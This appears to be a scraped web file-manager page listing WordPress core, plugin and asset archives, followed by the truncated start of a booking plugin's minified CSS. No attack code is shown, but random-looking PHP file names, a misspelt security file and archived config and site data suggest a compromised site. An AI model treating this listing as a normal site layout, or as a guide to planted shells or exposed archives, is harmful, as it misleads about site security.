wp-admin.css.tar.gz
232
B
-rw-r--r--
wp-admin.min.css.tar
2
KB
-rw-r--r--
wp-admin.min.css.tar.gz
264
B
-rw-r--r--
wp-admin.tar
8.97
MB
-rw-r--r--
wp-admin.tar.gz
2.11
MB
-rw-r--r--
wp-admin.wp-admin.php.tar.gz
108
B
-rw-r--r--
wp-api.js.tar
47.5
KB
-rw-r--r--
wp-api.js.tar.gz
10.65
KB
-rw-r--r--
wp-api.php.tar
3
KB
-rw-r--r--
wp-api.php.tar.gz
594
B
-rw-r--r--
wp-auth-check-rtl.css.tar
4
KB
-rw-r--r--
wp-auth-check-rtl.css.tar.gz
1004
B
-rw-r--r--
wp-auth-check-rtl.min.css.tar
3.5
KB
-rw-r--r--
wp-auth-check-rtl.min.css.tar....
865
B
-rw-r--r--
wp-auth-check.js.tar
6
KB
-rw-r--r--
wp-auth-check.js.tar.gz
1.66
KB
-rw-r--r--
wp-auth-check.min.css.tar
3.5
KB
-rw-r--r--
wp-auth-check.min.css.tar.gz
863
B
-rw-r--r--
wp-auth-check.min.js.tar
3.5
KB
-rw-r--r--
wp-auth-check.min.js.tar.gz
872
B
-rw-r--r--
wp-backbone.js.tar
16.5
KB
-rw-r--r--
wp-backbone.js.tar.gz
3.66
KB
-rw-r--r--
wp-backbone.min.js.tar
4.5
KB
-rw-r--r--
wp-backbone.min.js.tar.gz
1.26
KB
-rw-r--r--
wp-chat.tar
7.5
KB
-rw-r--r--
wp-chat.tar.gz
2.57
KB
-rw-r--r--
wp-cli.tar
7.5
KB
-rw-r--r--
wp-cli.tar.gz
1.29
KB
-rw-r--r--
wp-comments.png.tar
3
KB
-rw-r--r--
wp-comments.png.tar.gz
1.53
KB
-rw-r--r--
wp-compat.php.tar
5
KB
-rw-r--r--
wp-compat.php.tar.gz
1.13
KB
-rw-r--r--
wp-compat.tar
6
KB
-rw-r--r--
wp-compat.tar.gz
1.15
KB
-rw-r--r--
wp-config.txt.tar
5
KB
-rw-r--r--
wp-config.txt.tar.gz
1.85
KB
-rw-r--r--
wp-content.css.tar
10
KB
-rw-r--r--
wp-content.css.tar.gz
2.67
KB
-rw-r--r--
wp-content.zip
427.71
MB
-rw-r--r--
wp-custom-header.js.tar
12
KB
-rw-r--r--
wp-custom-header.js.tar.gz
2.97
KB
-rw-r--r--
wp-custom-header.min.js.tar
6
KB
-rw-r--r--
wp-custom-header.min.js.tar.gz
1.67
KB
-rw-r--r--
wp-diff.php.tar
2.5
KB
-rw-r--r--
wp-diff.php.tar.gz
398
B
-rw-r--r--
wp-downgrade-de_DE.mo.tar
6
KB
-rw-r--r--
wp-downgrade-de_DE.mo.tar.gz
2.38
KB
-rw-r--r--
wp-downgrade-de_DE.po.tar
7
KB
-rw-r--r--
wp-downgrade-de_DE.po.tar.gz
2.32
KB
-rw-r--r--
wp-downgrade-es_ES.mo.tar
6.5
KB
-rw-r--r--
wp-downgrade-es_ES.mo.tar.gz
2.35
KB
-rw-r--r--
wp-downgrade-es_ES.po.tar
7
KB
-rw-r--r--
wp-downgrade-es_ES.po.tar.gz
2.28
KB
-rw-r--r--
wp-downgrade-fr_FR.mo.tar
6.5
KB
-rw-r--r--
wp-downgrade-fr_FR.mo.tar.gz
2.38
KB
-rw-r--r--
wp-downgrade-fr_FR.po.tar
7
KB
-rw-r--r--
wp-downgrade-fr_FR.po.tar.gz
2.33
KB
-rw-r--r--
wp-downgrade-nl_NL.mo.tar
6
KB
-rw-r--r--
wp-downgrade-nl_NL.mo.tar.gz
2.26
KB
-rw-r--r--
wp-downgrade-nl_NL.po.tar
7
KB
-rw-r--r--
wp-downgrade-nl_NL.po.tar.gz
2.19
KB
-rw-r--r--
wp-downgrade.php.tar
13.5
KB
-rw-r--r--
wp-downgrade.php.tar.gz
3.75
KB
-rw-r--r--
wp-downgrade.tar
128
KB
-rw-r--r--
wp-downgrade.tar.gz
89.18
KB
-rw-r--r--
wp-embed-template-ie.css.tar
3
KB
-rw-r--r--
wp-embed-template-ie.css.tar.g...
878
B
-rw-r--r--
wp-embed-template-ie.min.css.t...
3
KB
-rw-r--r--
wp-embed-template-ie.min.css.t...
902
B
-rw-r--r--
wp-embed-template.js.tar
8.5
KB
-rw-r--r--
wp-embed-template.js.tar.gz
1.93
KB
-rw-r--r--
wp-embed-template.min.css.tar
8.5
KB
-rw-r--r--
wp-embed-template.min.css.tar....
2.02
KB
-rw-r--r--
wp-embed.js.tar
5.5
KB
-rw-r--r--
wp-embed.js.tar.gz
1.59
KB
-rw-r--r--
wp-embed.min.js.tar
3.5
KB
-rw-r--r--
wp-embed.min.js.tar.gz
942
B
-rw-r--r--
wp-emoji-loader.js.tar
9
KB
-rw-r--r--
wp-emoji-loader.js.tar.gz
2.47
KB
-rw-r--r--
wp-emoji-loader.min.js.tar
3.5
KB
-rw-r--r--
wp-emoji-loader.min.js.tar.gz
942
B
-rw-r--r--
wp-emoji.js.tar
10.5
KB
-rw-r--r--
wp-emoji.js.tar.gz
3.44
KB
-rw-r--r--
wp-file-manager-pro.tar
2.5
KB
-rw-r--r--
wp-file-manager-pro.tar.gz
192
B
-rw-r--r--
wp-file-manager.tar
17.17
MB
-rw-r--r--
wp-file-manager.tar.gz
5.73
MB
-rw-r--r--
wp-icon.png.tar
2.5
KB
-rw-r--r--
wp-icon.png.tar.gz
819
B
-rw-r--r--
wp-includes.zip
417.88
MB
-rw-r--r--
wp-langs-en.js.tar
17
KB
-rw-r--r--
wp-langs-en.js.tar.gz
5.43
KB
-rw-r--r--
wp-list-revisions.js.tar
2.5
KB
-rw-r--r--
wp-list-revisions.js.tar.gz
543
B
-rw-r--r--
wp-list-revisions.min.js.tar
2.5
KB
-rw-r--r--
wp-list-revisions.min.js.tar.g...
467
B
-rw-r--r--
wp-lists.js.tar
26.5
KB
-rw-r--r--
wp-lists.js.tar.gz
5.37
KB
-rw-r--r--
wp-lists.min.js.tar
9
KB
-rw-r--r--
wp-lists.min.js.tar.gz
2.58
KB
-rw-r--r--
wp-login.php
5.62
KB
-rw-r--r--
wp-mediaelement.css.tar
6.5
KB
-rw-r--r--
wp-mediaelement.css.tar.gz
1.35
KB
-rw-r--r--
wp-mediaelement.min.css.tar
6
KB
-rw-r--r--
wp-mediaelement.min.css.tar.gz
1.23
KB
-rw-r--r--
wp-playlist.min.js.tar
5
KB
-rw-r--r--
wp-playlist.min.js.tar.gz
1.21
KB
-rw-r--r--
wp-plupload.min.js.tar
7.5
KB
-rw-r--r--
wp-plupload.min.js.tar.gz
2.38
KB
-rw-r--r--
wp-polyfill-dom-rect.js.tar
3.5
KB
-rw-r--r--
wp-polyfill-dom-rect.js.tar.gz
654
B
-rw-r--r--
wp-polyfill-fetch.js.tar
19.5
KB
-rw-r--r--
wp-polyfill-fetch.js.tar.gz
4.95
KB
-rw-r--r--
wp-polyfill-fetch.min.js.tar
11
KB
-rw-r--r--
wp-polyfill-fetch.min.js.tar.g...
3.23
KB
-rw-r--r--
wp-polyfill-formdata.js.tar
13.5
KB
-rw-r--r--
wp-polyfill-formdata.js.tar.gz
3.61
KB
-rw-r--r--
wp-polyfill-formdata.min.js.ta...
10.5
KB
-rw-r--r--
wp-polyfill-formdata.min.js.ta...
3.2
KB
-rw-r--r--
wp-polyfill-object-fit.js.tar
10.5
KB
-rw-r--r--
wp-polyfill-object-fit.js.tar....
2.88
KB
-rw-r--r--
wp-polyfill-url.js.tar
109.5
KB
-rw-r--r--
wp-polyfill-url.js.tar.gz
23.65
KB
-rw-r--r--
wp-polyfill.js.tar
62
KB
-rw-r--r--
wp-polyfill.js.tar.gz
13.44
KB
-rw-r--r--
wp-polyfill.min.js.tar
19
KB
-rw-r--r--
wp-polyfill.min.js.tar.gz
6.5
KB
-rw-r--r--
wp-sanitize.js.tar
3
KB
-rw-r--r--
wp-sanitize.js.tar.gz
688
B
-rw-r--r--
wp-sanitize.min.js.tar
2
KB
-rw-r--r--
wp-sanitize.min.js.tar.gz
383
B
-rw-r--r--
wp-security-helper.tar
5.5
KB
-rw-r--r--
wp-security-helper.tar.gz
1.56
KB
-rw-r--r--
wp-securityy.php.tar
5
KB
-rw-r--r--
wp-securityy.php.tar.gz
1.21
KB
-rw-r--r--
wp-tinymce.js.tar
657.5
KB
-rw-r--r--
wp-tinymce.js.tar.gz
216.64
KB
-rw-r--r--
wp-util.js.tar
6.5
KB
-rw-r--r--
wp-util.js.tar.gz
1.8
KB
-rw-r--r--
wp-util.min.js.tar
3
KB
-rw-r--r--
wp-util.min.js.tar.gz
866
B
-rw-r--r--
wp-watermark.png.tar
4
KB
-rw-r--r--
wp-watermark.png.tar.gz
2.47
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.mo.tar
3.5
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.mo.tar....
1.1
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.po.tar
6
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.po.tar....
1.29
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.mo.tar
4.5
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.mo.tar....
1.71
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.po.tar
8
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.po.tar....
1.91
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.mo.tar
4.5
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.mo.tar....
1.71
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.mo.tar
8
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.mo.tar....
3.2
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.po.tar
13.5
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.po.tar....
3.43
KB
-rw-r--r--
wp-whatsapp-chat.tar
1.17
MB
-rw-r--r--
wp-whatsapp-chat.tar.gz
369.13
KB
-rw-r--r--
wpautoresize.tar
10.5
KB
-rw-r--r--
wpautoresize.tar.gz
2.73
KB
-rw-r--r--
wpautoresize.zip
8.42
KB
-rw-r--r--
wpbc-activation.php.tar
94.5
KB
-rw-r--r--
wpbc-activation.php.tar.gz
15.31
KB
-rw-r--r--
wpbc-ajax.php.tar
20.5
KB
-rw-r--r--
wpbc-ajax.php.tar.gz
4.02
KB
-rw-r--r--
wpbc-core.php.tar
10
KB
-rw-r--r--
wpbc-core.php.tar.gz
1.94
KB
-rw-r--r--
wpbc-cron.php.tar
16
KB
-rw-r--r--
wpbc-cron.php.tar.gz
3.26
KB
-rw-r--r--
wpbc-css.php.tar
16.5
KB
-rw-r--r--
wpbc-css.php.tar.gz
3.34
KB
-rw-r--r--
wpbc-dates.php.tar
35.5
KB
-rw-r--r--
wpbc-dates.php.tar.gz
8.24
KB
-rw-r--r--
wpbc-debug.php.tar
11.5
KB
-rw-r--r--
wpbc-debug.php.tar.gz
3.01
KB
-rw-r--r--
wpbc-dev-api.php.tar
39
KB
-rw-r--r--
wpbc-dev-api.php.tar.gz
8.06
KB
-rw-r--r--
wpbc-emails.php.tar
29.5
KB
-rw-r--r--
wpbc-emails.php.tar.gz
6.09
KB
-rw-r--r--
wpbc-gcal.php.tar
20
KB
-rw-r--r--
wpbc-gcal.php.tar.gz
2.96
KB
-rw-r--r--
wpbc-gutenberg.js.tar
65.5
KB
-rw-r--r--
wpbc-gutenberg.js.tar.gz
8.45
KB
-rw-r--r--
wpbc-include.php.tar
16.5
KB
-rw-r--r--
wpbc-include.php.tar.gz
3.03
KB
-rw-r--r--
wpbc-js-vars.php.tar
12
KB
-rw-r--r--
wpbc-js-vars.php.tar.gz
2.77
KB
-rw-r--r--
wpbc-js.php.tar
20
KB
-rw-r--r--
wpbc-js.php.tar.gz
5.1
KB
-rw-r--r--
wpbc-sql.php.tar
59.5
KB
-rw-r--r--
wpbc-sql.php.tar.gz
9.79
KB
-rw-r--r--
wpbc-translation.php.tar
63
KB
-rw-r--r--
wpbc-translation.php.tar.gz
12.72
KB
-rw-r--r--
wpbc.js.tar
20.5
KB
-rw-r--r--
wpbc.js.tar.gz
3.04
KB
-rw-r--r--
wpbc.php.tar
29.5
KB
-rw-r--r--
wpbc.php.tar.gz
6.27
KB
-rw-r--r--
wpbc.tar
20.5
KB
-rw-r--r--
wpbc.tar.gz
3.01
KB
-rw-r--r--
wpbc_all.js.tar
801
KB
-rw-r--r--
wpbc_all.js.tar.gz
73.12
KB
-rw-r--r--
wpbc_functions.php.tar
154
KB
-rw-r--r--
wpbc_functions.php.tar.gz
33.21
KB
-rw-r--r--
wpbc_time-selector.js.tar
5.5
KB
-rw-r--r--
wpbc_time-selector.js.tar.gz
1.29
KB
-rw-r--r--
wpbc_times.js.tar
23.5
KB
-rw-r--r--
wpbc_times.js.tar.gz
5.4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar
4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar.gz
962
B
-rw-r--r--
wpbc_ui_both.css.tar
8.5
KB
-rw-r--r--
wpbc_ui_both.css.tar.gz
1.13
KB
-rw-r--r--
wpdev-booking.php.tar
6
KB
-rw-r--r--
wpdev-booking.php.tar.gz
1.54
KB
-rw-r--r--
wpdialog.js.tar
2.5
KB
-rw-r--r--
wpdialog.js.tar.gz
439
B
-rw-r--r--
wpdialog.min.js.tar
2
KB
-rw-r--r--
wpdialog.min.js.tar.gz
306
B
-rw-r--r--
wpdialogs.tar
6
KB
-rw-r--r--
wpdialogs.tar.gz
1.43
KB
-rw-r--r--
wpeditimage.tar
39.5
KB
-rw-r--r--
wpeditimage.tar.gz
10.5
KB
-rw-r--r--
wpemoji.tar
7
KB
-rw-r--r--
wpemoji.tar.gz
1.85
KB
-rw-r--r--
wpgallery.tar
7.5
KB
-rw-r--r--
wpgallery.tar.gz
1.7
KB
-rw-r--r--
wpicons-2x.png.tar
16.5
KB
-rw-r--r--
wpicons-2x.png.tar.gz
14.38
KB
-rw-r--r--
wpicons.png.tar
8.5
KB
-rw-r--r--
wpicons.png.tar.gz
7.03
KB
-rw-r--r--
wplink.js.tar
22.5
KB
-rw-r--r--
wplink.js.tar.gz
5.94
KB
-rw-r--r--
wplink.min.js.tar
12.5
KB
-rw-r--r--
wplink.min.js.tar.gz
3.89
KB
-rw-r--r--
wplink.tar
28.5
KB
-rw-r--r--
wplink.tar.gz
7.59
KB
-rw-r--r--
wplink.zip
26.14
KB
-rw-r--r--
wpml-config.xml.tar
8.5
KB
-rw-r--r--
wpml-config.xml.tar.gz
0
B
-rw-r--r--
wpspin-1x.gif.tar
22
KB
-rw-r--r--
wpspin-1x.gif.tar.gz
8.12
KB
-rw-r--r--
wpspin-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin.gif.tar
4
KB
-rw-r--r--
wpspin.gif.tar.gz
1.86
KB
-rw-r--r--
wpspin_light-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin_light-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin_light.gif.tar
4
KB
-rw-r--r--
wpspin_light.gif.tar.gz
1.86
KB
-rw-r--r--
wpview.tar
11
KB
-rw-r--r--
wpview.tar.gz
2.85
KB
-rw-r--r--
wrapper.php.tar
8
KB
-rw-r--r--
wrapper.php.tar.gz
1.4
KB
-rw-r--r--
ws.png.tar
2.5
KB
-rw-r--r--
ws.png.tar.gz
909
B
-rw-r--r--
xdiff.php.tar
4
KB
-rw-r--r--
xdiff.php.tar.gz
1.01
KB
-rw-r--r--
xfn.js.tar
2.5
KB
-rw-r--r--
xfn.js.tar.gz
488
B
-rw-r--r--
xfn.min.js.tar
2
KB
-rw-r--r--
xfn.min.js.tar.gz
380
B
-rw-r--r--
xh.png.tar
9
KB
-rw-r--r--
xh.png.tar.gz
756
B
-rw-r--r--
xh.svg.tar
2.5
KB
-rw-r--r--
xh.svg.tar.gz
624
B
-rw-r--r--
xit-2x.gif.tar
4
KB
-rw-r--r--
xit-2x.gif.tar.gz
806
B
-rw-r--r--
xit-3x.gif.tar
22
KB
-rw-r--r--
xit-3x.gif.tar.gz
8.12
KB
-rw-r--r--
xit.gif.tar
3
KB
-rw-r--r--
xit.gif.tar.gz
304
B
-rw-r--r--
xk.png.tar
2.5
KB
-rw-r--r--
xk.png.tar.gz
668
B
-rw-r--r--
xygdzobf.php.tar
2
KB
-rw-r--r--
xygdzobf.php.tar.gz
198
B
-rw-r--r--
yak.php.tar
23.5
KB
-rw-r--r--
yak.php.tar.gz
9.48
KB
-rw-r--r--
ydjzxfnq.php.tar
5
KB
-rw-r--r--
ydjzxfnq.php.tar.gz
907
B
-rw-r--r--
ye.png.tar
2
KB
-rw-r--r--
ye.png.tar.gz
580
B
-rw-r--r--
yes.png.tar
2.5
KB
-rw-r--r--
yes.png.tar.gz
689
B
-rw-r--r--
yi.png.tar
6
KB
-rw-r--r--
yi.png.tar.gz
1.27
KB
-rw-r--r--
yi.svg.tar
2.5
KB
-rw-r--r--
yi.svg.tar.gz
642
B
-rw-r--r--
ym-fast-seo.php.tar
3.5
KB
-rw-r--r--
ym-fast-seo.php.tar.gz
796
B
-rw-r--r--
yo.png.tar
6.5
KB
-rw-r--r--
yo.png.tar.gz
799
B
-rw-r--r--
yo.svg.tar
2
KB
-rw-r--r--
yo.svg.tar.gz
299
B
-rw-r--r--
yt.png.tar
2.5
KB
-rw-r--r--
yt.png.tar.gz
1.13
KB
-rw-r--r--
za.png.tar
2.5
KB
-rw-r--r--
za.png.tar.gz
1.06
KB
-rw-r--r--
zh-CN.png.tar
7
KB
-rw-r--r--
zh-CN.png.tar.gz
961
B
-rw-r--r--
zh-CN.svg.tar
2
KB
-rw-r--r--
zh-CN.svg.tar.gz
397
B
-rw-r--r--
zh-TW.png.tar
7
KB
-rw-r--r--
zh-TW.png.tar.gz
612
B
-rw-r--r--
zh-TW.svg.tar
3
KB
-rw-r--r--
zh-TW.svg.tar.gz
706
B
-rw-r--r--
zh.js.tar
2.5
KB
-rw-r--r--
zh.js.tar.gz
638
B
-rw-r--r--
zh_TW.tar
227
KB
-rw-r--r--
zh_TW.tar.gz
50.55
KB
-rw-r--r--
zhxvgqei.php.tar
2
KB
-rw-r--r--
zhxvgqei.php.tar.gz
153
B
-rw-r--r--
zigzag.svg.tar
4.5
KB
-rw-r--r--
zigzag.svg.tar.gz
495
B
-rw-r--r--
zm.png.tar
2.5
KB
-rw-r--r--
zm.png.tar.gz
958
B
-rw-r--r--
zoom.svg.tar
6
KB
-rw-r--r--
zoom.svg.tar.gz
768
B
-rw-r--r--
zu.png.tar
9
KB
-rw-r--r--
zu.png.tar.gz
758
B
-rw-r--r--
zu.svg.tar
2.5
KB
-rw-r--r--
zu.svg.tar.gz
625
B
-rw-r--r--
zvoacxwk.php.tar
70
KB
-rw-r--r--
zvoacxwk.php.tar.gz
20.5
KB
-rw-r--r--
zw.png.tar
2.5
KB
-rw-r--r--
zw.png.tar.gz
1018
B
-rw-r--r--
zxcvbn-async.js.tar
2.5
KB
-rw-r--r--
zxcvbn-async.js.tar.gz
529
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _out.tar
wpbc_fe__form_fields.min.css 0000666 00000245704 15165311506 0012200 0 ustar 00 :root{--wpbc_form-field-border-radius:3px;--wpbc_form-field-border-style:solid;--wpbc_form-field-border-size:1px;--wpbc_form-field-background-color:#ffffff;--wpbc_form-field-border-color:rgba(0, 0, 0, 0.25);--wpbc_form-field-border-color-spare:rgba(0, 0, 0, 0.25);--wpbc_form-field-text-color:rgba(0, 0, 0, 0.7);--wpbc_form-field-disabled-color:rgba(0, 0, 0, 0.2);--wpbc_form-select-bg-img:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e");--wpbc_form-field-menu-color:#ffffff;--wpbc_form-label-color:rgba(0, 0, 0, 0.85);--wpbc_form-label-sublabel-color:rgba(0, 0, 0, 0.55);--wpbc_form-label-error-color:#d63637;--wpbc_form-button-border-radius:3px;--wpbc_form-button-border-style:none;--wpbc_form-button-border-size:1px;--wpbc_form-button-background-color:#066aab;--wpbc_form-button-background-color-alt:#066aab;--wpbc_form-button-border-color:#066aab;--wpbc_form-button-text-color:#ffffff;--wpbc_form-button-text-color-alt:#fff;--wpbc_form-page-break-color:#066aab;--wpbc_form-background-image:none;--wpbc_form-background-position:center center;--wpbc_form-background-repeat:no-repeat;--wpbc_form-background-size:cover;--wpbc_form-background-width:100px;--wpbc_form-background-height:100px;--wpbc_form-background-color:rgba(0, 0, 0, 0);--wpbc_form-background-url:none;--wpbc_form-container-padding:0px;--wpbc_form-container-border-style:none;--wpbc_form-container-border-width:1px;--wpbc_form-container-border-color:#000000;--wpbc_form-container-border-radius:3px;--wpbc_form-field-size-input-height:43px;--wpbc_form-field-size-input-spacing:15px;--wpbc_form-field-size-font-size:16px;--wpbc_form-field-size-line-height:19px;--wpbc_form-field-size-padding-h:14px;--wpbc_form-field-size-checkbox-size:16px;--wpbc_form-field-size-sublabel-spacing:5px;--wpbc_form-field-size-icon-size:1;--wpbc_form-label-size-font-size:16px;--wpbc_form-label-size-line-height:19px;--wpbc_form-label-size-sublabel-font-size:14px;--wpbc_form-label-size-sublabel-line-height:17px;--wpbc_form-button-size-font-size:17px;--wpbc_form-button-size-height:41px;--wpbc_form-button-size-padding-h:15px;--wpbc_form-button-size-margin-top:10px;--wpbc_form-container-shadow-size-box-shadow:none;--wpbc_form-marging-between-several-checkbox-radio:30px;--wpbc_form-padding-between-label-checkbox-radio:8px}div.wpbc_container.wpbc_form button,div.wpbc_container.wpbc_form input,div.wpbc_container.wpbc_form label,div.wpbc_container.wpbc_form select,div.wpbc_container.wpbc_form textarea{margin:0;border:0;padding:0;vertical-align:middle;background:0 0;height:auto;box-sizing:border-box}.wp-core-ui div.wpbc_container.wpbc_form input[type=date],.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local],.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime],.wp-core-ui div.wpbc_container.wpbc_form input[type=email],.wp-core-ui div.wpbc_container.wpbc_form input[type=month],.wp-core-ui div.wpbc_container.wpbc_form input[type=number],.wp-core-ui div.wpbc_container.wpbc_form input[type=password],.wp-core-ui div.wpbc_container.wpbc_form input[type=range],.wp-core-ui div.wpbc_container.wpbc_form input[type=search],.wp-core-ui div.wpbc_container.wpbc_form input[type=tel],.wp-core-ui div.wpbc_container.wpbc_form input[type=text],.wp-core-ui div.wpbc_container.wpbc_form input[type=time],.wp-core-ui div.wpbc_container.wpbc_form input[type=url],.wp-core-ui div.wpbc_container.wpbc_form input[type=week],.wp-core-ui div.wpbc_container.wpbc_form select,.wp-core-ui div.wpbc_container.wpbc_form textarea,div.wpbc_container.wpbc_form input[type=date],div.wpbc_container.wpbc_form input[type=datetime-local],div.wpbc_container.wpbc_form input[type=datetime],div.wpbc_container.wpbc_form input[type=email],div.wpbc_container.wpbc_form input[type=month],div.wpbc_container.wpbc_form input[type=number],div.wpbc_container.wpbc_form input[type=password],div.wpbc_container.wpbc_form input[type=range],div.wpbc_container.wpbc_form input[type=search],div.wpbc_container.wpbc_form input[type=tel],div.wpbc_container.wpbc_form input[type=text],div.wpbc_container.wpbc_form input[type=time],div.wpbc_container.wpbc_form input[type=url],div.wpbc_container.wpbc_form input[type=week],div.wpbc_container.wpbc_form select,div.wpbc_container.wpbc_form textarea{background-color:var(--wpbc_form-field-background-color);background-clip:padding-box;border-radius:var(--wpbc_form-field-border-radius);color:var(--wpbc_form-field-text-color);border-width:var(--wpbc_form-field-border-size);border-style:var(--wpbc_form-field-border-style);border-color:var(--wpbc_form-field-border-color);padding:0 var(--wpbc_form-field-size-padding-h);font-size:var(--wpbc_form-field-size-font-size);line-height:100%;box-shadow:none;transition:border .15s,box-shadow .15s}.wp-core-ui div.wpbc_container.wpbc_form input[type=date]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=email]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=month]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=number]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=password]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=range]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=search]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=text]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=time]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=url]:focus,.wp-core-ui div.wpbc_container.wpbc_form input[type=week]:focus,.wp-core-ui div.wpbc_container.wpbc_form select:focus,.wp-core-ui div.wpbc_container.wpbc_form textarea:focus,div.wpbc_container.wpbc_form input[type=date]:focus,div.wpbc_container.wpbc_form input[type=datetime-local]:focus,div.wpbc_container.wpbc_form input[type=datetime]:focus,div.wpbc_container.wpbc_form input[type=email]:focus,div.wpbc_container.wpbc_form input[type=month]:focus,div.wpbc_container.wpbc_form input[type=number]:focus,div.wpbc_container.wpbc_form input[type=password]:focus,div.wpbc_container.wpbc_form input[type=range]:focus,div.wpbc_container.wpbc_form input[type=search]:focus,div.wpbc_container.wpbc_form input[type=tel]:focus,div.wpbc_container.wpbc_form input[type=text]:focus,div.wpbc_container.wpbc_form input[type=time]:focus,div.wpbc_container.wpbc_form input[type=url]:focus,div.wpbc_container.wpbc_form input[type=week]:focus,div.wpbc_container.wpbc_form select:focus,div.wpbc_container.wpbc_form textarea:focus{border-width:var(--wpbc_form-field-border-size);border-style:solid;border-color:var(--wpbc_form-button-background-color);box-shadow:0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15);outline:0}.wp-core-ui div.wpbc_container.wpbc_form input[type=date]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=email]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=month]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=number]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=password]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=range]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=search]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=text]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=time]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=url]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form input[type=week]:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form select:focus:invalid,.wp-core-ui div.wpbc_container.wpbc_form textarea:focus:invalid,div.wpbc_container.wpbc_form input[type=date]:focus:invalid,div.wpbc_container.wpbc_form input[type=datetime-local]:focus:invalid,div.wpbc_container.wpbc_form input[type=datetime]:focus:invalid,div.wpbc_container.wpbc_form input[type=email]:focus:invalid,div.wpbc_container.wpbc_form input[type=month]:focus:invalid,div.wpbc_container.wpbc_form input[type=number]:focus:invalid,div.wpbc_container.wpbc_form input[type=password]:focus:invalid,div.wpbc_container.wpbc_form input[type=range]:focus:invalid,div.wpbc_container.wpbc_form input[type=search]:focus:invalid,div.wpbc_container.wpbc_form input[type=tel]:focus:invalid,div.wpbc_container.wpbc_form input[type=text]:focus:invalid,div.wpbc_container.wpbc_form input[type=time]:focus:invalid,div.wpbc_container.wpbc_form input[type=url]:focus:invalid,div.wpbc_container.wpbc_form input[type=week]:focus:invalid,div.wpbc_container.wpbc_form select:focus:invalid,div.wpbc_container.wpbc_form textarea:focus:invalid{border-width:var(--wpbc_form-field-border-size);border-style:solid;border-color:var(--wpbc_form-button-background-color);box-shadow:0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15);outline:0;color:var(--wpbc_form-field-text-color)}.wp-core-ui div.wpbc_container.wpbc_form input[type=date]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=email]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=month]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=number]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=password]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=range]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=search]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=tel]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=text]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=time]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=url]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form input[type=week]::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form select::-webkit-input-placeholder,.wp-core-ui div.wpbc_container.wpbc_form textarea::-webkit-input-placeholder,div.wpbc_container.wpbc_form input[type=date]::-webkit-input-placeholder,div.wpbc_container.wpbc_form 